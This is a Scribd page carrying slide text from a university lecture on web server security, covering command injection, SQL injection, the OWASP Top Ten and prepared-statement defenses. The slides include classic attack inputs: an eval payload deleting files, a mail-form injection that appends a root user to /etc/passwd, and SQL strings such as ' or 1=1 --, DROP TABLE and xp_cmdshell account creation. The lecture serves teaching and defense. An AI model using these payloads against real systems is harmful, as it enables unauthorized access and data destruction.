Location via proxy:   [ UP ]  
[Report a bug]   [Manage cookies]                
Scribd
Upload
79 views

Lecture 6: Modules 6.1-6.10 Web Server Security CSE 628/628A

The document discusses three major web server security vulnerabilities: SQL injection, cross-site request forgery (CSRF), and cross-site scripting (XSS). It provides examples of SQL injection attacks where malicious SQL code is inserted through user inputs to alter the meaning of SQL queries. It also explains how CSRF attacks work by tricking a victim's browser to generate requests to a vulnerable web application using the victim's credentials. Finally, it briefly introduces XSS attacks where malicious scripts are injected into a vulnerable web page that are then executed by a victim's browser.

Uploaded by

Harpreet Singh
Copyright
© © All Rights Reserved
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
79 views

Lecture 6: Modules 6.1-6.10 Web Server Security CSE 628/628A

The document discusses three major web server security vulnerabilities: SQL injection, cross-site request forgery (CSRF), and cross-site scripting (XSS). It provides examples of SQL injection attacks where malicious SQL code is inserted through user inputs to alter the meaning of SQL queries. It also explains how CSRF attacks work by tricking a victim's browser to generate requests to a vulnerable web application using the victim's credentials. Finally, it briefly introduces XSS attacks where malicious scripts are injected into a vulnerable web page that are then executed by a victim's browser.

Uploaded by

Harpreet Singh
Copyright
© © All Rights Reserved
Available Formats
Download as PPTX, PDF, TXT or read online on Scribd
You are on page 1/ 23

Lecture 6: Modules 6.1-6.

10
Web Server Security
CSE 628/628A
Sandeep K. Shukla
Indian Institute of Technology
Kanpur
Acknowledgements
Dan Boneh (Stanford University)
John C. Mitchell (Stanford University)
Nicolai Zeldovich (MIT)
Jungmin Park (Virginia Tech)
Patrick Schaumont (Virginia Tech)
C. Edward Chow
Arun Hodigere
Web Resources
Lecture 6: Web Server
Security
Total 6 Modules on Web Client Security
Module 6.1: Major Web server Threats:
Command and SQL Injection Attacks
Module 6.2: CSRF Cross-Site Request
Forgery
Module 6.3: XSS Cross-Site Scripting
Module 6.4: Defenses and Protections
against XSS
Module 6.5: Finding Vulnerabilities
Module 6.6: Secure Development
Module 6.1: Major Web
Server Threats
Command and SQL Injection
OWASP Top Ten (2013)

A- Injection Untrusted data is sent to an interpreter


1 as part of a command or query.
A- Authentication Attacks passwords, keys, or session
2 and Session tokens, or exploit other implementation
Management flaws to assume other users identities.
A- Cross-site An application takes untrusted data and
3 scripting sends it to a web browser without proper
validation or escaping
Various expose a file, directory, or database
implementation key without access control check,
problems misconfiguration, missing function-level
access control
A- Cross-site A logged-on victims browser sends a
8 request forgery forged HTTP request, including the
victims session cookie and other
https://www.owasp.org/index.php/Top_10_2013-Top_10
authentication information
Three vulnerabilities we will discuss

SQL Injection
Browser sends malicious input to server
Bad input checking leads to malicious SQL query
CSRF Cross-site request forgery
Bad web site sends browser request to good web
site, using credentials of an innocent victim
XSS Cross-site scripting
Bad web site sends innocent victim a script that
steals information from an honest web site
Three vulnerabilities we will discuss

SQL Injection
Uses malicious
Browser sends SQL to change meaning
input of
to server
database command
Bad input checking leads to malicious SQL query
CSRF Cross-site request forgery
Bad web site Leverage users session at
sendsvictim
request to good web site,
server
using credentials of an innocent victim who
visits site
XSS Cross-site scripting
Inject malicious script into
trusted context
Bad web site sends innocent victim a script that
steals information from an honest web site
Command Injection

Background for SQL Injection


General code injection
attacks
Attack goal: execute arbitrary code on the server
Example
code injection based on eval (PHP)
http://site.com/calc.php (server side calculator)


$in = $_GET[exp'];
eval('$ans = ' . $in . ';');

Attack
http://site.com/calc.php?exp= 10 ; system(rm *.*)

(URL encoded)
Code injection using
system()
Example: PHP server-side code for sending email
$email = $_POST[email]
$subject = $_POST[subject]
system(mail $email s $subject < /tmp/joinmynetwork)

Attacker can post


http://yourdomain.com/mail.php?
email=hacker@hackerhome.net &
subject=foo < /usr/passwd; ls

OR
http://yourdomain.com/mail.php?
email=hacker@hackerhome.net&subject=foo;
echo evil::0:0:root:/:/bin/sh">>/etc/passwd; ls
SQL Injection
Database queries with PHP
(the wrong way)

Sample PHP

$recipient = $_POST[recipient];
$sql = "SELECT PersonID FROM Person WHERE
Username='$recipient'";
$rs = $db->executeQuery($sql);

Problem
What if recipient is malicious string that
changes the meaning of the query?
Basic picture: SQL Injection
Victim Server

u s form
i o
malic
1 post

2
unintended
3 receive valuable SQL query
Attacker data

Victim SQL DB
13
CardSystems Attack
CardSystems
credit card payment processing
company
SQL injection attack in June 2005
put out of business

The Attack
263,000 credit cards stolen from
database
credit card #s stored unencrypted
43 million credit card #s exposed
14
http://www.cvedetails.com/vulnerability-list/vendor_id-2337/opsqli-1/Wordpress.html
Example: buggy login page
(ASP)

set ok = execute( "SELECT * FROM Users


WHERE user=' " & form(user) & " '

AND pwd=' " & form(pwd) & ' );

if not ok.EOF
login success
else fail;

Is this exploitable?
16
Enter
Username SELECT *
& FROM Users
Web Password Web WHERE user='me'
Browser
Server
DB
(Client) AND pwd='1234'

Normal Query
Bad input
Suppose user = ' or 1=1 -- (URL
encoded)

Then scripts does:


ok = execute( SELECT
WHERE user= ' ' or 1=1 -- )
The -- causes rest of line to be ignored.
Now ok.EOF is always false and login
succeeds.

The bad news: easy login to many sites


this way.
18
Even worse
Suppose user =
; DROP TABLE Users --

Then script does:


ok = execute( SELECT
WHERE user= ; DROP TABLE Users )

Deletes user table


Similarly: attacker can add users, reset pwds,
19 etc.
Even worse
Suppose user =
; exec cmdshell
net user badguy badpwd / ADD --

Then script does:


ok = execute( SELECT
WHERE username= ; exec )

If SQL server context runs as sa,


20
attacker gets account on DB server
Lets see how the attack described in this cartoon works

21
Preventing SQL Injection

Never build SQL commands yourself !

Use parameterized/prepared SQL

Use ORM framework


Parameterized/prepared

SQL
Builds SQL queries by properly escaping args: \

Example: Parameterized SQL: (ASP.NET 1.1)


Ensures SQL arguments are properly escaped.

SqlCommand cmd = new SqlCommand(


"SELECT * FROM UserTable WHERE
username = @User AND
password = @Pwd", dbConnection);
cmd.Parameters.Add("@User", Request[user] );
cmd.Parameters.Add("@Pwd", Request[pwd] );
cmd.ExecuteReader();

In PHP: bound parameters -- similar function


24

You might also like